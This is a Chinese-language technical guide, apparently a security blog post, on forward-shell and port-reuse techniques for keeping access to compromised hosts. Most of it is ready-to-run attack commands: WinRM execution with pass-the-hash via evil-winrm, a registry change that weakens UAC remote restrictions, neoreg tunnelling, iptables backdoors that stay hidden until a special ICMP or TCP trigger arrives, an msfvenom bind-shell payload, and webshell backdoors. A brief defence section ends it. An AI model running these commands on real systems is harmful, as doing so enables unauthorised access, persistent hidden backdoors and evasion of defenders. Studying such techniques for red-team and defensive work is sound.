正向shell相关技术总结
字数 1080 2025-08-25 22:58:20
正向Shell技术全面指南
一、WinRM与HTTP.sys端口复用技术
WinRM基础
- 定义:Windows Remote Management (WinRM)是微软的服务器硬件管理功能,允许远程管理Windows系统
- 协议:基于HTTP/HTTPS协议
- 默认端口:
- HTTP: 5985
- HTTPS: 5986
利用条件
- 目标机器开启WinRM服务
- 目标为Windows Server系统(普通Windows主机不支持)
- WinRM未设置IP白名单限制
- 需要明文密码或Hash(支持Pass-the-Hash攻击)
靶机配置
# 快速配置WinRM服务
winrm quickconfig -q
# 启用HTTP监听器
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
# 设置监听80端口
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
攻击机配置
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
命令执行方法
- 基本命令执行:
winrs -r:http://目标IP -u:用户名 -p:密码 whoami
- 创建进程:
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline="calc.exe"} -r:目标IP
- 远程命令执行:
Invoke-Command -ComputerName 目标IP -Credential 用户名 -Command {命令}
# 或
Invoke-Command -ComputerName 目标IP -Credential 用户名 -ScriptBlock {命令}
Hash登录工具
使用evil-winrm:
ruby evil-winrm.rb -i 目标IP -u 用户名 -p '密码' -s '/ps1脚本路径/' -e '/exe文件路径/'
常见问题解决
-
UAC限制:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f -
编码问题:
chcp 437
防御措施
- 设置IP白名单限制
- 严格限制用户权限(仅允许本地管理组和WinRMRemoteWMIUsers组)
- 禁用不必要的WinRM服务
二、HTTP Server API技术
技术原理
利用HTTP.sys驱动的官方接口注册URL前缀,与IIS共享端口实现后门功能
相关资源
- 项目地址:Windows-Hack-Code
- 参考文档:HTTP.sys端口复用
三、reGeorg/neoreg隧道技术
使用步骤
- 生成加密隧道:
python neoreg.py generate -k 密码
-
上传生成的tunnel文件到目标服务器
-
本地启动代理:
python neoreg.py -k 密码 -u "http://目标IP/tunnel.php"
- 使用本地1080端口作为代理
四、iptables端口复用技术
基础命令
sudo iptables -L -v --line-number # 查看规则
sudo iptables -D INPUT 1 # 删除规则
1. 基于源IP的端口复用
iptables -t nat -A PREROUTING -p tcp -s 源IP --dport 80 -j REDIRECT --to-port 22
2. 基于源IP和端口的精确控制
iptables -t nat -A PREROUTING -p tcp -s 源IP --sport 源端口 --dport 80 -j REDIRECT --to-port 22
使用socat转发:
nohup socat tcp-listen:本地端口,fork,reuseaddr tcp:目标IP:80,sourceport=源端口,reuseaddr &
3. ICMP触发开关
# 创建规则链
iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 设置ICMP触发
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
触发命令:
# 开启
ping -c 1 -s 1111 目标IP
# 关闭
ping -c 1 -s 1112 目标IP
4. TCP协议触发
# 创建规则链
iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 设置TCP触发
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
触发命令:
# 开启
echo threathuntercoming | socat - tcp:目标IP:80
# 关闭
echo threathunterleaving | socat - tcp:目标IP:80
五、MSF正向Shell
生成Payload
msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe
监听设置
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 目标IP
run
六、netsh端口转发
设置转发
netsh interface portproxy add v4tov4 listenport=监听端口 listenaddress=监听IP connectport=目标端口 connectaddress=目标IP
查看规则
netsh interface portproxy show all
删除规则
netsh interface portproxy delete v4tov4 listenport=端口 listenaddress=IP
七、冰蝎正向后门
- 在冰蝎客户端配置正向连接
- 设置监听地址为0.0.0.0
- 指定本地代理端口
- 上传后门到目标服务器
八、蚁剑反弹Shell配合MSF
使用AS-exploit插件:
- 在蚁剑中配置正向连接
- 设置监听IP和端口
- 生成Payload并执行
- 在MSF中设置监听接收会话
防御建议
-
网络层防御:
- 严格限制入站规则
- 监控异常端口使用情况
- 禁用不必要的端口转发功能
-
系统层防御:
- 定期检查系统服务配置
- 监控iptables/netsh规则变更
- 限制管理权限
-
应用层防御:
- 部署Web应用防火墙(WAF)
- 监控异常HTTP请求
- 定期审计Web目录文件
-
日志监控:
- 集中收集和分析系统日志
- 设置异常行为告警
- 监控特权命令执行